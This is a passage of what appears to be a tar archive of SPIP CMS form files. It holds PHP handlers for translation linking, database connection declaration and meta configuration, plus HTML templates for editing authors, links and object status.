$valeurs['_traduire'] = ''; if (isset($valeurs['id_trad'])) { $valeurs['_traduire'] = ($traduire ? ' ' : ''); if ($valeurs['_traduisible']) { $valeurs['_vue_traductions'] = 'prive/objets/liste/' . (trouver_fond( $f = table_objet($objet) . '-trad', 'prive/objets/liste' ) ? $f : 'objets-trad'); // pour afficher la liste des trad sur la base de l'id_trad en base // independamment d'une saisie en cours sur id_trad $valeurs['_lister_id_trad'] = $valeurs['id_trad']; $valeurs['_id_parent'] = $id_parent; } } $valeurs['_saisie_en_cours'] = (!_request('annuler') and (_request('changer_lang') !== null or _request('changer_id_trad') !== null)); $valeurs['_pipeline'] = array('traduire', array('type' => $objet, 'id' => $id_objet)); return $valeurs; } /** * Vérifier les saisies des valeurs du #FORMULAIRE_TRADUIRE * * @param string $objet * Type d'objet * @param int $id_objet * Identifiant de l'objet * @param string $retour * URL de retour * @param bool $traduire * Permet de désactiver la gestion de traduction sur un objet ayant id_trad * @return array * Erreurs des saisies */ function formulaires_traduire_verifier_dist($objet, $id_objet, $retour = '', $traduire = true) { $erreurs = array(); if (null !== _request('changer_lang')) { $erreurs = formulaires_editer_objet_verifier($objet, $id_objet, array('changer_lang')); } // si id_trad fourni, verifier que cela ne conflicte pas avec un id_trad existant // et que ca reference bien un objet existant if ($id_trad = _request('id_trad')) { $table_objet_sql = table_objet_sql($objet); $_id_table_objet = id_table_objet($objet); if (sql_getfetsel( 'id_trad', $table_objet_sql, "$_id_table_objet=" . intval($id_objet) )) { // ne devrait jamais arriver sauf concurence de saisie $erreurs['id_trad'] = _L('Une traduction est deja referencee'); } elseif (!sql_getfetsel($_id_table_objet, $table_objet_sql, "$_id_table_objet=" . intval($id_trad))) { $erreurs['id_trad'] = _L('Indiquez un contenu existant'); } } return $erreurs; } /** * Enregistrer en base les saisies du #FORMULAIRE_TRADUIRE * * @param string $objet * Type d'objet * @param int $id_objet * Identifiant de l'objet * @param string $retour * URL de retour * @param bool $traduire * Permet de désactiver la gestion de traduction sur un objet ayant id_trad * @return array * Retour des traitements */ function formulaires_traduire_traiter_dist($objet, $id_objet, $retour = '', $traduire = true) { $res = array(); if (!_request('annuler') and autoriser('changerlangue', $objet, $id_objet)) { // action/editer_xxx doit traiter la modif de changer_lang $res = formulaires_editer_objet_traiter($objet, $id_objet, 0, 0, $retour); } if (!_request('annuler') and autoriser('changertraduction', $objet, $id_objet)) { if ($id_trad = _request('id_trad') or _request('supprimer_trad')) { $referencer_traduction = charger_fonction('referencer_traduction', 'action'); $referencer_traduction($objet, $id_objet, intval($id_trad)); // 0 si supprimer_trad } elseif ($new_id_trad = _request('changer_reference_trad') and $new_id_trad = array_keys($new_id_trad) and $new_id_trad = reset($new_id_trad) ) { $table_objet_sql = table_objet_sql($objet); $_id_table_objet = id_table_objet($objet); if ($id_trad = sql_getfetsel('id_trad', $table_objet_sql, "$_id_table_objet=" . intval($id_objet))) { $referencer_traduction = charger_fonction('referencer_traduction', 'action'); $referencer_traduction($objet, $id_trad, $new_id_trad); } } } $res['editable'] = true; if (!isset($res['message_erreur'])) { set_request('annuler', 'annuler'); } // provoquer la fermeture du forumlaire return $res; } traduire.html000060400000007503152526232120007252 0ustar00<div class="formulaire_spip formulaire_#FORM" id="formulaire_#FORM-#ENV{_objet}-#ENV{_id_objet}"> <span class="image_loading"></span> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV**{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}|ou{#ENV{_traduisible}}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE ] <div class="editer-groupe"> <div class="editer editer_changer_lang long_label obligatoire[(#ENV**{erreurs}|table_valeur{changer_lang}|oui)erreur]"> <label for="changer_lang">[(#ENV{_objet}|objet_info{texte_langue_objet}|_T)]</label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{changer_lang})</span> ]<span class="affiche"[(#ENV{_saisie_en_cours}|oui)style="display:none;"]> [(#ENV{langue}|?{[(#ENV{langue}|traduire_nom_langue)],[((#ENV{langue_parent}|traduire_nom_langue))]})] [(#ENV{langue_choisie}|=={oui}|non)([(#ENV{_objet}|objet_T{info_multi_herit})])] </span> [(#ENV{_langue}|ou{#ENV{_traduire}}|oui) <span class="toggle_box_link"[(#ENV{_saisie_en_cours}|oui)style="display:none;"]>[<a href="#" onclick="var f=jQuery(this).parents('form').eq(0); f.find('.editer-groupe .input').removeClass('none-js').show('fast'); f.find('span.toggle_box_link[(#ENV{_langue}|oui),span.affiche]').hide('fast'); f.find('.boutons,.new_trad,.editer_id_trad').show('fast'); f.find('#changer_lang').eq(0).focus();return false;" ><:bouton_changer:><i class="over"> \([(#ENV{_langue}|?{[(#ENV{_objet}|objet_info{texte_langue_objet}|_T)],#ENV{_objet}|objet_T{info_traductions}})]\)</i></a>]</span> [(#ENV{editable}|oui) [<span class="input[(#ENV{_saisie_en_cours}|non)none-js]"> <select name="changer_lang" id="changer_lang">(#INCLURE{fond=formulaires/inc-options-langues,name=changer_lang,default=#ENV**{_langue},herit=#ENV**{langue_parent}})</select> </span>]]] </div> [(#ENV{_traduire}|oui) [(#ENV{_lister_id_trad}|oui) <div class="fieldset voir_traductions"> <INCLURE{fond=#ENV**{_vue_traductions},id_trad=#ENV{_lister_id_trad},titre=#ENV{_objet}|objet_T{info_traductions},objet=#ENV{_objet},env,ajax} /> [(#ENV{editable}|ou{#ENV{_traduisible}}) <span class="input[(#ENV{_saisie_en_cours}|non)none-js]"> <input type="submit" class="submit supprimer_trad" name="supprimer_trad" value="[(#ENV{_objet}|objet_T{trad_delier}|attribut_html)]" /> </span> ] </div> ] [(#ENV{_lister_id_trad}|non) <div class="editer editer_id_trad long_label[(#ENV**{erreurs}|table_valeur{id_trad}|oui)erreur][(#ENV{_saisie_en_cours}|non)none-js]"> <label for="id_trad">[(#ENV{_objet}|objet_info{texte_definir_comme_traduction_objet}|_T)]</label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{id_trad})</span> ]<input type="text" class="text" name="id_trad" id="id_trad" value="[(#ENV{id_trad}|?{#ENV{id_trad}})]" onkeypress="$(this).parents('form').find('.boutons').slideDown();"/> </div> ] ] </div> [(#ENV{_traduire}|oui) [<div class="new_trad[(#ENV{_saisie_en_cours}|non)]"> (#URL_ECRIRE{#ENV{_objet}|objet_info{url_edit},new=oui&lier_trad=#ENV{_id_objet}}|parametre_url{#ENV{_objet}|=={rubrique}|?{id_parent,id_rubrique},#ENV{_id_parent}}|icone_horizontale{#ENV{_objet}|objet_T{trad_new},traduction,new}) </div>] ] [(#ENV{editable}|ou{#ENV{_traduisible}}) <p class="boutons[(#ENV{_saisie_en_cours}|non)none-js]"> <input type='submit' class='over' name='changer' value='<:bouton_changer:>' /> <input type='submit' class='submit' name='annuler' value='<:bouton_fermer:>' /> <input type="submit" class="submit" value="<:bouton_changer:>" /> </p> </div></form>] </div>editer_auteur.html000060400000015010152526232120010264 0ustar00<div class="formulaire_spip formulaire_editer formulaire_editer_auteur formulaire_editer_auteur-#ENV{id_auteur,nouveau}"> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV**{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur}) <:info_recommencer:></p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <input type='hidden' name='id_auteur' value='#ENV{id_auteur}' /> [<input type='hidden' name='redirect' value='(#ENV**{redirect})' />] <div class="editer-groupe"> <div class="editer editer_nom obligatoire[ (#ENV**{erreurs}|table_valeur{nom}|oui)erreur]"> <label for="nom"><:titre_cadre_signature_obligatoire:></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{nom})</span> ][<p class='explication'>(#ENV{id_auteur}|=={#SESSION{id_auteur}}|?{<:entree_nom_pseudo:>,<:entree_nom_pseudo_2:>})</p>] <input type='text' class='text' name='nom' id='nom' placeholder="<:ecrire:item_nouvel_auteur|attribut_html:>" value="[(#ENV**{nom})]" /> </div> [(#REM) Modification de l'email ou message disant que seuls les admins peuvent le modifier ] <div class="editer editer_email[ (#ENV**{erreurs}|table_valeur{email}|oui)erreur]"> [<label for="email">(#ENV{id_auteur}|=={#SESSION{id_auteur}}|?{<:entree_adresse_email:>,<:entree_adresse_email_2:>})</label>][ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{email})</span> ]<input type='text' class='text' name='email' id='email' value="[(#ENV**{email})]" /> </div> <div class="editer editer_bio[ (#ENV**{erreurs}|table_valeur{bio}|oui)erreur]"> [<label for="bio">(#ENV{id_auteur}|=={#SESSION{id_auteur}}|?{<:entree_infos_perso:>,<:entree_infos_perso_2:>})</label>][ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{bio})</span> ]<p class="explication"><:entree_biographie:></p> <textarea name='bio' id='bio' rows='4' cols='40'>[(#ENV**{bio})]</textarea> </div> [(#REM) Cle PGP ] <div class="editer editer_pgp[ (#ENV**{erreurs}|table_valeur{pgp}|oui)erreur]"> [<label for="pgp">(#ENV{id_auteur}|=={#SESSION{id_auteur}}|?{<:entree_cle_pgp:>,<:entree_cle_pgp_2:>})</label>][ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{pgp})</span> ]<textarea name='pgp' id='pgp' rows='4' cols='40'>[(#ENV**{pgp})]</textarea> </div> [(#REM) Statut ] [(#AUTORISER{modifier,auteur,#ID_AUTEUR,'',#ARRAY{statut,'?'}}|oui) <div class='editer editer_statut'> #INCLURE{fond=formulaires/inc-instituer_auteur,statut=#ENV**{statut,#CONST{_STATUT_AUTEUR_CREATION}},id_auteur,webmestre} </div>] [(#REM) Site Web : nom et url ] <div class='editer_liens_sites fieldset'> <fieldset> <legend><:info_site_web:></legend> <div class="editer-groupe"> <div class="editer editer_nom_site[ (#ENV**{erreurs}|table_valeur{nom_site_auteur}|oui)erreur]"> [<label for="nom_site">(#ENV{id_auteur}|=={#SESSION{id_auteur}}|?{<:entree_nom_site:>,<:entree_nom_site_2:>})</label>][ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{nom_site_auteur})</span> ]<input type='text' class='text' name='nom_site' id='nom_site' value="[(#ENV**{nom_site})]" /> </div> <div class="editer editer_url_site[ (#ENV**{erreurs}|table_valeur{url_site}|oui)erreur]"> [<label for="url_site">(#ENV{id_auteur}|=={#SESSION{id_auteur}}|?{<:entree_url:>,<:entree_url_2:>})</label>][ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{url_site})</span> ]<input type='text' class='text' name='url_site' id='url_site' value="[(#ENV**{url_site})]" /> </div> </div> </fieldset> </div> [(#REM) Identifiants (nom, mot de passe) ] <div class='editer_identification fieldset'> <fieldset> [<legend>(#ENV{id_auteur}|=={#SESSION{id_auteur}}|?{<:entree_identifiants_connexion:>,<:entree_identifiants_connexion_2:>})</legend>] [(#REM) Avertissement en cas de modifs de ses propres donnees ] [(#ENV{config}|table_valeur{edit_login} |or{#ENV{config}|table_valeur{edit_pass}} |and{#SESSION{id_auteur}|=={#ENV{id_auteur}}}|oui) <div class='notice'><:texte_login_precaution:></div> ] <div class="editer-groupe"> [(#REM) Un redacteur n'a pas le droit de modifier son login ! ] <div class='editer editer_new_login[ (#ENV**{erreurs}|table_valeur{login}|oui)erreur]'> [(#ENV{config}|table_valeur{edit_login}|oui) <label for='new_login'><:item_login:></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{login})</span> ]<p class='explication'>(<:info_login_trop_court_car_pluriel{nb=#CONST{_LOGIN_TROP_COURT}}:>)</p> <input autocomplete="off" type='text' class='text' name='new_login' id='new_login' value="[(#ENV**{new_login})]" /> ] [(#ENV{config}|table_valeur{edit_login}|non) <label for='login'><:item_login:> </label><p class='explication'>(<:info_non_modifiable:>)</p> <input type='text' class='text' disabled='disabled' name='login' id='login' value="[(#ENV**{login})]" /> ] </div> [(#ENV{config}|table_valeur{edit_pass}|oui) <div class='editer editer_new_pass[ (#ENV**{erreurs}|table_valeur{new_pass}|oui)erreur]'> <label for='new_pass'><:entree_nouveau_passe:></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{new_pass})</span> ]<p class='explication'>(<:info_passe_trop_court_car_pluriel{nb=#CONST{_PASS_LONGUEUR_MINI}}:>)</p> <input type='password' autocomplete="off" class='password' name='new_pass' id='new_pass' value="" /> </div> <div class='editer editer_new_pass2'> <label for='new_pass2'><:info_confirmer_passe:></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{new_pass2})</span> ]<input type='password' autocomplete="off" class='password' name='new_pass2' id='new_pass2' value="" /> [(#ENV{config/edit_pass}|oui) <input type="submit" class="over offscreen" name="submit" value="submit" /> <button class="submit reset_password" type="submit" name="reset_password" value="1"><:bouton_reset_password:></button> ] </div>] </div> </fieldset> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div> configurer_transcodeur.html000060400000002615152526232120012206 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><:info_jeu_caractere:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] <p><:texte_jeu_caractere:></p> [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> <div class="explication"> <p><:texte_jeu_caractere_3:></p> <div style='text-align: center'><b><tt>#ENV{charset}</tt></b></div> <p><:texte_jeu_caractere_4:></p> </div> #SET{name,charset}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_jeu_caractere:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<input type="text" class="text" name="#GET{name}" id="#GET{name}" value="#ENV*{#GET{name}}" /> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div>declarer_bases.php000060400000014325152526232120010214 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/install'); function formulaires_declarer_bases_charger_dist() { list($adresse_db, $login_db, $pass_db, $sel, $server_db) = analyse_fichier_connection(_FILE_CONNECT); $deja = bases_referencees(_FILE_CONNECT); // proposer un nom de connect si pas encore saisi $nom_connect = ''; if (defined('_DECLARER_CHOIX_DB')) { $nom_connect = _DECLARER_CHOIX_DB; $n = ''; while (in_array($nom_connect . $n, $deja)) { $n = ($n ? $n + 1 : 1); } $nom_connect = $nom_connect . $n; } $valeurs = array( '_etapes' => 3, '_bases_deja' => $deja, '_bases_prop' => defined('_DECLARER_SERVEUR_DB') ? liste_bases(_DECLARER_SERVEUR_DB) : '', '_tables' => (defined('_DECLARER_SERVEUR_DB') and defined('_DECLARER_CHOIX_DB')) ? $tables = sql_alltable('%', _DECLARER_SERVEUR_DB) : array(), 'main_db' => '', '_serveurs' => liste_serveurs(), 'sql_serveur_db' => 'sqlite3', // valeur par defaut 'adresse_db' => $adresse_db, 'login_db' => '', 'pass_db' => '', 'choix_db' => '', 'table_new' => '', 'nom_connect' => $nom_connect, ); return $valeurs; } function liste_serveurs() { $options = array(); $dir = _DIR_RESTREINT . 'req/'; $d = opendir($dir); if (!$d) { return array(); } while ($f = readdir($d)) { if ((preg_match('/^(.*)[.]php$/', $f, $s)) and is_readable($f = $dir . $f) ) { require_once($f); $s = $s[1]; $v = 'spip_versions_' . $s; if (function_exists($v) and $v()) { $options[$s] = "install_select_type_$s"; } else { spip_log("$s: portage indisponible"); } } } ksort($options); return $options; } function liste_bases($server_db) { if (is_null($server_db) or !$result = sql_listdbs($server_db) ) { return ''; } $noms = array(); // si sqlite : result est deja un tableau if (is_array($result)) { $noms = $result; } else { while ($row = sql_fetch($result, $server_db)) { $noms[] = reset($row); } } return $noms; } function formulaires_declarer_bases_verifier_1_dist() { $erreurs = array(); list($def_adresse_db, $def_login_db, $def_pass_db, $sel_db, $def_serveur_db) = analyse_fichier_connection(_FILE_CONNECT); if (!$adresse_db = _request('adresse_db')) { if (defined('_INSTALL_HOST_DB')) { $adresse_db = _INSTALL_HOST_DB; } else { $adresse_db = $def_adresse_db; } } if (!$serveur_db = _request('sql_serveur_db')) { if (defined('_INSTALL_SERVER_DB')) { $serveur_db = _INSTALL_SERVER_DB; } else { $serveur_db = $def_serveur_db; } } $login_db = $pass_db = ''; if (!preg_match(',^sqlite,i', $serveur_db)) { if (!$login_db = _request('login_db')) { if (defined('_INSTALL_USER_DB')) { $login_db = _INSTALL_USER_DB; } else { $login_db = $def_login_db; } } if (!$pass_db = _request('pass_db')) { if (defined('_INSTALL_PASS_DB')) { $pass_db = _INSTALL_PASS_DB; } else { $pass_db = $def_pass_db; } } } $link = spip_connect_db($adresse_db, '', $login_db, $pass_db, '@test@', $serveur_db); if ($link) { $GLOBALS['connexions'][$serveur_db][$GLOBALS['spip_sql_version']] = $GLOBALS['spip_' . $serveur_db . '_functions_' . $GLOBALS['spip_sql_version']]; $GLOBALS['connexions'][$serveur_db] = $link; define('_DECLARER_SERVEUR_DB', $serveur_db); define('_DECLARER_ADRESSE_DB', $adresse_db); define('_DECLARER_LOGIN_DB', $login_db); define('_DECLARER_PASS_DB', $pass_db); // si on est sur le meme serveur que connect.php // indiquer quelle est la db utilisee pour l'exclure des choix possibles if ($serveur_db == $def_serveur_db and $adresse_db == $def_adresse_db) { set_request('main_db', $sel_db); } else { set_request('main_db', ''); } } else { $erreurs['message_erreur'] = _T('avis_connexion_echec_1'); } return $erreurs; } function formulaires_declarer_bases_verifier_2_dist() { $erreurs = array(); $choix_db = _request('choix_db'); if ($choix_db == '-1') { $choix_db = _request('table_new'); } if (!$choix_db) { $erreurs['choix_db'] = _T('info_obligatoire'); } else { define('_ECRIRE_INSTALL', 1); // hackons sqlite if (!sql_selectdb($choix_db, _DECLARER_SERVEUR_DB)) { $erreurs['choix_db'] = _T('avis_base_inaccessible', array('base' => $choix_db)); } else { define('_DECLARER_CHOIX_DB', $choix_db); } } return $erreurs; } function formulaires_declarer_bases_verifier_3_dist() { $erreurs = array(); $nom_connect = _request('nom_connect'); if (!$nom_connect) { $erreurs['nom_connect'] = _T('info_obligatoire'); } else { // securite : le nom doit etre un mot sans caracteres speciaux $f = preg_replace(',[^\w],', '', $nom_connect); if ($f !== $nom_connect) { $erreurs['nom_connect'] = _T('erreur_nom_connect_incorrect'); } elseif (file_exists(_DIR_CONNECT . $nom_connect . '.php')) { $erreurs['nom_connect'] = _T('erreur_connect_deja_existant'); } else { define('_DECLARER_NOM_CONNECT', $nom_connect); } } return $erreurs; } function formulaires_declarer_bases_traiter_dist() { $adresse_db = _DECLARER_ADRESSE_DB; if (preg_match(',(.*):(.*),', $adresse_db, $r)) { list(, $adresse_db, $port) = $r; } else { $port = ''; } $server_db = addcslashes(_DECLARER_SERVEUR_DB, "'\\"); $conn = install_mode_appel($server_db) . install_connexion( $adresse_db, $port, _DECLARER_LOGIN_DB, _DECLARER_PASS_DB, _DECLARER_CHOIX_DB, _DECLARER_SERVEUR_DB, '', '', '' ); install_fichier_connexion(_DIR_CONNECT . _DECLARER_NOM_CONNECT . '.php', $conn); return array( 'message_ok' => _T('install_connect_ok', array('connect' => '<strong>' . _DECLARER_NOM_CONNECT . '</strong>')) ); } editer_liens.html000060400000005740152526232120010102 0ustar00<div class="formulaire_spip formulaire_editer formulaire_#FORM [formulaire_[(#FORM)]-(#ENV{table_source})] formulaire_#FORM-#ENV{id}[(#ENV{editable}|non)non_editable]"> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <input type="hidden" name="visible" value="#ENV{visible,0}" id="visible-#ENV{id}"/> <div class="over"><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_changer:>' /></div> ] <INCLURE{fond=prive/objets/liste/#ENV{_vue_liee},action='',env,ajax}> [<div class="action"><input type="hidden" name="_oups" value='(#ENV**{_oups})' /><input type="submit" name="annuler_oups" value="Ooops" /></div>] [(#ENV{visible,0}|et{#ENV{editable}}|oui) <div class="selecteur[(#ENV{recherche}|oui)filtre]"> <h3 class="titrem">[(#ENV{objet_source}|objet_info{texte_ajouter}|_T)]</h3> <INCLURE{fond=prive/objets/liste/#ENV{_vue_ajout},action='',env,ajax}> [(#AUTORISER{creer,#ENV{objet_source}}|oui) [(#REM|generer_url_ecrire_entite_edit{#ENV{objet_source}} |parametre_url{associer_objet,#ENV{objet}|concat{'|',#ENV{id_objet}}} |parametre_url{redirect,#SELF|parametre_url{dummy,'','&'}} |icone_horizontale{[(#ENV{objet_source}|objet_info{texte_creer_associer}|_T)],#ENV{objet_source},new})] ] <div class="toggle_box_link"> [<a href="#" onclick="jQuery(this).parents('div.selecteur').hide('fast').siblings('.toggle_box_link').show();jQuery('#visible-#ENV{id}').attr('value',0);return false;" ><:bouton_fermer:></a>] </div> <p class="boutons"> <input type="submit" class="submit" name="fermer" value="<:bouton_fermer:>" onclick="jQuery(this).parents('div.selecteur').hide('fast').siblings('.toggle_box_link').show();jQuery('#visible-#ENV{id}').attr('value',0);return false;" /> </p> </div> <div class="toggle_box_link" style="display:none;"> [<a href="#" onclick="jQuery(this).parents('div.toggle_box_link').hide('fast').siblings('.selecteur').show('fast');jQuery('#visible-#ENV{id}').attr('value',1);return false;" >[(#ENV{objet_source}|objet_info{texte_ajouter}|_T)]</a>] </div> ] [(#ENV{editable}) [(#ENV{visible,0}|non) <div class="toggle_box_link"> [<button type="submit" class="link" name="visible" value="1">[(#ENV{objet_source}|objet_info{texte_ajouter}|_T)]</button>] </div> ] [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> </div></form> ] </div> <script type="text/javascript">/*<![CDATA[*/ jQuery('.formulaire_#FORM .action .delete').click(function(){jQuery(this).parents('tr').eq(0).animateRemove();}); jQuery('.formulaire_#FORM .append').animateAppend(); /*]]>*/</script> instituer_objet.html000060400000005505152526232120010644 0ustar00<div class="instituer_objet"> [(#ENV{_publiable}|non|et{#ENV{statut}|=={prepa}|oui}) <p class="small"><:texte_proposer_publication:></p> ] <div class="formulaire_spip formulaire_editer formulaire_instituer[ formulaire_#FORM formulaire_#FORM-(#ENV{_objet})][ formulaire_#FORM-#ENV{_objet}-(#ENV{_id_objet})]"> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV**{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE ] #SET{name,statut}#SET{obli,'obligatoire'}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer-groupe"> <div class="editer editer_[(#GET{name})] statut_#ENV{#GET{name}}[ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="formulaire_#FORM-#ENV{_objet}-#ENV{_id_objet}-#GET{name}">[(#ENV{_label}|_T)][(#ENV{_aide}|oui)#AIDER{#ENV{_aide}}]</label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<span class="show"> [(#ENV{editable}) <select class="select statut" name="#GET{name}" id="formulaire_#FORM-#ENV{_objet}-#ENV{_id_objet}-#GET{name}"> [(#ENV{_statuts}|table_valeur{#ENV{#GET{name}}}|non) <option value="#ENV{#GET{name}}"> #ENV{#GET{name}}</option> ] ] <BOUCLE_choix(POUR){tableau #ENV{_statuts}}{si #ENV{editable}}> <option value="#CLE"[(#ENV{#GET{name}}|=={#CLE}|oui)selected="selected"] style="background-image:url([(#CLE|puce_statut{#ENV{_objet}}|extraire_attribut{src})]);"> [(#VALEUR|_T)]</option> </BOUCLE_choix> [(#ENV{editable}) </select> ] [(#ENV{editable}|non) <span class="statut">[(#ENV{#GET{name}}|puce_statut{#ENV{_objet}})] [(#ENV{_statuts}|table_valeur{#ENV{#GET{name}}}|_T)]</span> ] </span> </div> </div> <!--extra--> [(#ENV{editable}) <p class='boutons'><span class='image_loading'> </span> <input type='submit' class='submit' value='<:bouton_changer:>' /></p> </div></form> ] </div> </div> <script type="text/javascript"> function update_select(statut_default){ var selected = this.options[this.selectedIndex]; var boutons = jQuery(this).attr('style',jQuery(selected).attr('style')).closest('form').find('.boutons'); if (selected.value!=statut_default) boutons.css('visibility','visible').show('fast'); else boutons.css('visibility','hidden') } jQuery(function($){ $(".formulaire_#FORM .show select") .each(function(){update_select.apply(this,['#ENV{#GET{name}}']);}) .on('change',function(){update_select.apply(this,['#ENV{#GET{name}}']);}) .on('keyup',function(){update_select.apply(this,['#ENV{#GET{name}}']);}); }); </script> configurer_metas.php000060400000006773152526232120010622 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_metas_charger_dist($form) { $f = charger_fonction('charger', "formulaires/$form", true); if ($f) { return $f($form); } else { $infos = formulaires_configurer_metas_infos($form); if (!is_array($infos)) { return $infos; } return $GLOBALS[$infos['meta']]; } } function formulaires_configurer_metas_verifier_dist($form) { $f = charger_fonction('verifier', "formulaires/$form", true); return $f ? $f($form) : array(); } function formulaires_configurer_metas_traiter_dist($form) { $f = charger_fonction('traiter', "formulaires/$form", true); if ($f) { return $f($form); } else { $infos = formulaires_configurer_metas_infos($form); if (!is_array($infos)) { return $infos; } // fait ci-dessus en fait $vars = formulaires_configurer_metas_recense($infos['path'], PREG_PATTERN_ORDER); $meta = $infos['meta']; foreach (array_unique($vars[2]) as $k) { $v = _request($k); ecrire_meta($k, is_array($v) ? serialise($v) : $v, 'oui', $meta); } return !isset($infos['prefix']) ? array() : array('redirect' => generer_url_ecrire($infos['prefix'])); } } // version amelioree de la RegExp de cfg_formulaire. define( '_EXTRAIRE_SAISIES', '#<(select|textarea|input)[^>]*\sname=["\'](\w+)(\[\w*\])?["\'](?: class=["\']([^\'"]*)["\'])?( multiple=)?[^>]*?>#ims' ); // determiner la liste des noms des saisies d'un formulaire // (a refaire avec SAX) function formulaires_configurer_metas_recense($form, $opt = '') { if (!$opt) { $opt = PREG_SET_ORDER; } $f = file_get_contents($form); if ($f and preg_match_all(_EXTRAIRE_SAISIES, $f, $r, $opt)) { return $r; } else { return array(); } } // Repertoires potentiels des plugins, ce serait bien d'avoir ça ailleurs // ca n'est pas lie a cette balise // Attention a l'ordre: // si l'un des 3 est un sous-rep d'un autre, le mettre avant. define('_EXTRAIRE_PLUGIN', '@(' . _DIR_PLUGINS_AUTO . '|' . _DIR_PLUGINS . '|' . _DIR_PLUGINS_DIST . ')/?([^/]+)/@'); // Recuperer la version compilee de plugin.xml et normaliser // Si ce n'est pas un plugin, dire qu'il faut prendre la table std des meta. function formulaires_configurer_metas_infos($form) { $path = find_in_path($form . '.' . _EXTENSION_SQUELETTES, 'formulaires/'); if (!$path) { return ''; } // cas traite en amont normalement. if (!preg_match(_EXTRAIRE_PLUGIN, $path, $m)) { return array('path' => $path, 'meta' => 'meta'); } $plugin = $m[2]; $get_infos = charger_fonction('get_infos', 'plugins'); $infos = $get_infos($plugin, false, $m[1]); if (!is_array($infos)) { return _T('erreur_plugin_nom_manquant'); } if (isset($infos['erreur'])) { return $infos['erreur'][0]; } $prefix = $infos['prefix']; $infos['path'] = $path; if (!isset($infos['meta'])) { $infos['meta'] = ($prefix . '_metas'); } return $infos; } inc-instituer_auteur_fonctions.php000060400000004232152526232120013516 0ustar00<?php /** * Fonction pour le squelette du même nom * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Afficher le formulaire de choix de rubrique restreinte * pour insertion dans le formulaire * * @param int $id_auteur * @param string $label * @param string $sel_css * Sélecteur CSS déterminant le conteneur de l'input reçevant les rubriques sélectionnées * @param string $img_remove * Balise `<img...>` pour enlever des rubriques * @return string * Code HTML et javascript */ function choisir_rubriques_admin_restreint( $id_auteur, $label = '', $sel_css = '#liste_rubriques_restreintes', $img_remove = '' ) { global $spip_lang; $res = ''; // Ajouter une rubrique a un administrateur restreint if ($chercher_rubrique = charger_fonction('chercher_rubrique', 'inc') and $a = $chercher_rubrique(0, 'auteur', false) ) { if ($img_remove) { $img_remove = addslashes("<a href=\"#\" onclick=\"jQuery(this).parent().remove();return false;\" 